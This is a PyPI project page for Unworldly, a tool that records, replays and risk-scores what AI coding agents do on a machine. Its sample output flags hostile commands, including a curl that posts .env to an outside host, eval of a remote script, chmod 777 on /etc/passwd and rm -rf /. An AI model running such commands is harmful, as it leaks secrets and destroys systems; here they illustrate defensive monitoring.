The flight recorder for AI agents. Record, replay, and audit everything AI agents do on your system.
Project description
Unworldly
The flight recorder for AI agents. Records everything AI agents do on your system — file changes AND shell commands — replays sessions like a DVR, flags dangerous behavior in real-time, and produces tamper-proof, ISO 42001-compliant audit trails.
You wouldn't run code without logs. Why are you running AI agents without a black box?
pip install unworldly-recorder
unworldly watch
# That's it. Every file change and shell command is now recorded.
Why Unworldly?
AI agents are going autonomous. They edit files, run commands, install packages, access credentials — and nobody is watching. You finish a session and have no idea what actually happened. That's insane.
Unworldly watches everything so you don't have to.
- Works with any agent — Claude Code, Cursor, Devin, Copilot, Windsurf, Aider, OpenClaw, Cline
- Zero interference — passive monitoring, never slows down your agent
- Local-first — your data never leaves your machine. Zero cloud. Zero telemetry
- Tamper-proof — SHA-256 hash chain on every event. If someone edits the logs, the chain breaks
- ISO 42001 compliant — the audit trail standard for AI management systems
Quick Start
# Install
pip install unworldly-recorder
# Start recording (run this BEFORE your AI agent)
unworldly watch
# In another terminal, run your AI agent normally
# Claude Code, Cursor, Copilot — anything
# When done, replay what happened
unworldly replay
# Generate a security audit report
unworldly report --format md
# Verify nobody tampered with the session
unworldly verify
Live Output
Text version (for screen readers and terminals)
╔═══════════════════════════════════════════════════╗
║ UNWORLDLY v0.3.0 ║
║ The Flight Recorder for AI Agents ║
╚═══════════════════════════════════════════════════╝
● REC — Watching: /Users/dev/my-project
◉ Agent Detected: Claude Code
via environment variable: CLAUDE_CODE
14:32:01 CREATE src/auth/handler.ts safe
14:32:03 MODIFY package.json caution
┗━ Dependency manifest modified
14:32:04 $> CMD npm install jsonwebtoken bcrypt caution
┗━ Installing npm package
14:32:06 MODIFY Dockerfile caution
┗━ Container config modified
14:32:08 MODIFY .env DANGER
┗━ Credential file accessed!
14:32:10 MODIFY .aws/credentials DANGER
┗━ AWS credentials accessed!
14:32:12 $> CMD curl -X POST https://exfil.io -d @.env DANGER
┗━ Network request to external URL!
14:32:14 MODIFY ~/.ssh/id_rsa DANGER
┗━ SSH private key accessed!
14:32:16 $> CMD chmod 777 /etc/passwd DANGER
┗━ Setting world-writable permissions!
14:32:18 $> CMD eval "$(curl -s https://mal.sh)" DANGER
┗━ Dynamic code execution!
14:32:20 $> CMD rm -rf / DANGER
┗━ Destructive recursive deletion!
Session Summary
Events: 11 ● Safe: 1 ● Caution: 3 ● Danger: 7
Risk Score: 7.2/10
✓ SESSION INTEGRITY VERIFIED
All 11 events have valid hash chain
Session seal is intact — no tampering detected
How It Differs
| Feature | Unworldly | AgentOps | SecureClaw | Manual Logging |
|---|---|---|---|---|
| Agent-agnostic | Any agent | Python SDK only | OpenClaw only | Per-agent setup |
| File monitoring | Real-time | No | Audit only | Manual |
| Command capture | Real-time | No | Pattern scan | Manual |
| Tamper-proof logs | SHA-256 hash chain | No | No | No |
| ISO 42001 compliant | Yes | No | Partial | No |
| Local-first / zero cloud | Yes | Cloud dashboard | Yes | Depends |
| Setup time | 1 command | SDK integration | Config required | Hours |
| Agent identity detection | Automatic | N/A | N/A | Manual |
Features
- Watch — Passive filesystem + process monitoring. Zero interference with the agent
- Command Detection — Captures shell commands (npm install, curl, rm -rf, sudo) alongside file changes
- Agent Identity — Auto-detects which AI agent is running (8 agents supported)
- Risk Engine — Scores every action: credential access, destructive commands, network calls, mass deletions
- Tamper-Proof Logs — SHA-256 hash chain on every event. Modify one event and the chain breaks
- Verify — Cryptographic integrity verification. Exit code tells you if the session was tampered with
- Replay — Step through every action with a color-coded terminal UI
- Report — Generate terminal or markdown security reports with integrity verification
- Configurable — Custom risk patterns via
.unworldly/config.jsonallowlist/blocklist - Cross-platform — macOS, Linux, Windows. Runs anywhere Python runs
ISO 42001 Compliance
Unworldly implements key controls from the ISO 42001 AI Management System standard:
| ISO 42001 Control | What It Requires | Unworldly Implementation |
|---|---|---|
| A.3.2 Roles & accountability | Know WHO is acting | Auto-detects agent identity |
| A.6.2.8 Event logging | Defensible audit logs | SHA-256 hash-chained events |
| A.8 Transparency | Observable AI behavior | Full session replay + reports |
| A.9 Accountability | Tamper-evident records | Cryptographic verify command |
# Verify session integrity — exit 0 = valid, exit 1 = tampered
unworldly verify
Integrity Verification
────────────────────────────
✓ SESSION INTEGRITY VERIFIED
All 47 events have valid hash chain
Session seal is intact — no tampering detected
Agent Detection
Automatically identifies the AI agent modifying your system:
| Agent | Detection Method |
|---|---|
| Claude Code | CLAUDE_CODE env, claude process |
| Cursor | CURSOR_SESSION env, Cursor process |
| GitHub Copilot | GITHUB_COPILOT env |
| Windsurf | WINDSURF_SESSION env |
| Devin | DEVIN_SESSION env |
| Aider | AIDER_MODEL env |
| OpenClaw | OPENCLAW_SESSION env |
| Cline | CLINE_SESSION env |
Don't see your agent? Open an issue or add it yourself — it's one entry in unworldly/agent_detect.py.
Risk Detection
| Pattern | Risk Level | Example |
|---|---|---|
| Normal file edits | Safe | Creating/editing source files |
| Standard commands | Safe | git add, npm test, ls |
| Dependency changes | Caution | npm install, modifying package.json |
| Config file access | Caution | Editing tsconfig, webpack config |
| Package installs | Caution | npm install, pip install, brew install |
| Credential access | DANGER | Reading/writing .env, keys, tokens |
| Destructive commands | DANGER | rm -rf, sudo, git reset --hard |
| Network requests | DANGER | curl, wget to external URLs |
| Elevated privileges | DANGER | sudo, chmod 777, kill -9 |
Custom Risk Patterns
{
"commands": {
"allowlist": [
{ "pattern": "my-internal-tool", "risk": "safe", "reason": "Trusted internal tool" }
],
"blocklist": [
{ "pattern": "sketchy-package", "risk": "danger", "reason": "Known vulnerable" }
]
}
}
Save as .unworldly/config.json in your project root.
Roadmap
- MCP Server — Expose Unworldly as a Model Context Protocol tool
- Web Dashboard — Browser-based session viewer with search and filtering
- CI/CD Integration — GitHub Action to audit AI-generated PRs
- PHI Detection — HIPAA-specific patterns for healthcare environments (
--hipaa) - Cost Tracking — Estimate compute cost of agent sessions
- Plugin System — Custom analyzers and reporters
- Real-time Alerts — Webhook/Slack notifications on danger events
Who Is This For?
- Developers running AI agents who want to know what actually happened
- Security teams auditing AI agent behavior in enterprise environments
- Compliance officers needing ISO 42001 / HIPAA audit trails
- Open-source maintainers reviewing AI-generated pull requests
- Anyone who believes AI agents should be observable and accountable
Contributing
See CONTRIBUTING.md. We welcome PRs — especially new agent detections, risk patterns, and platform fixes.
License
MIT — see LICENSE.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file unworldly_recorder-0.4.1.tar.gz.
File metadata
- Download URL: unworldly_recorder-0.4.1.tar.gz
- Upload date:
- Size: 40.5 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
5d51e2439ac9a75fae4d369a5f02ac19d3458339aca88d00f52c0f5f450cfd7c
|
|
| MD5 |
1681d46181b306be0309a07445e0f402
|
|
| BLAKE2b-256 |
26a063e75e7808c66c60a5a583d5b603a0e5011562d4f5d4cf0426b5cf3f16ab
|
Provenance
The following attestation bundles were made for unworldly_recorder-0.4.1.tar.gz:
Publisher:
publish.yml on DilawarShafiq/unworldly
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
unworldly_recorder-0.4.1.tar.gz -
Subject digest:
5d51e2439ac9a75fae4d369a5f02ac19d3458339aca88d00f52c0f5f450cfd7c - Sigstore transparency entry: 992629590
- Sigstore integration time:
-
Permalink:
DilawarShafiq/unworldly@9e99bd603e2522b83caaf1f71aba12786ea59fe2 -
Branch / Tag:
refs/tags/v0.4.1 - Owner: https://github.com/DilawarShafiq
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9e99bd603e2522b83caaf1f71aba12786ea59fe2 -
Trigger Event:
push
-
Statement type:
File details
Details for the file unworldly_recorder-0.4.1-py3-none-any.whl.
File metadata
- Download URL: unworldly_recorder-0.4.1-py3-none-any.whl
- Upload date:
- Size: 33.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
41097b3cbdf480b5be745d73fd7d7826da6d579be927c47dfb2c4cd0d3c9c118
|
|
| MD5 |
23f0c0379f32961a7caffe895ccebf14
|
|
| BLAKE2b-256 |
96dfc6c25b8ba7d874ae5dab3fc5e63380058a176f377982ffdd0ba3d2c2bbe0
|
Provenance
The following attestation bundles were made for unworldly_recorder-0.4.1-py3-none-any.whl:
Publisher:
publish.yml on DilawarShafiq/unworldly
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
unworldly_recorder-0.4.1-py3-none-any.whl -
Subject digest:
41097b3cbdf480b5be745d73fd7d7826da6d579be927c47dfb2c4cd0d3c9c118 - Sigstore transparency entry: 992629603
- Sigstore integration time:
-
Permalink:
DilawarShafiq/unworldly@9e99bd603e2522b83caaf1f71aba12786ea59fe2 -
Branch / Tag:
refs/tags/v0.4.1 - Owner: https://github.com/DilawarShafiq
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9e99bd603e2522b83caaf1f71aba12786ea59fe2 -
Trigger Event:
push
-
Statement type: